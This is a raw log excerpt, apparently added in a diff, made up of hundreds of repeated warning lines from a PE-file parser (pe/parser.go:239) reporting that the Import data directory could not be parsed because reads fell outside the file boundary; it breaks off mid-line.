+time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:42+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:57:02+01:00 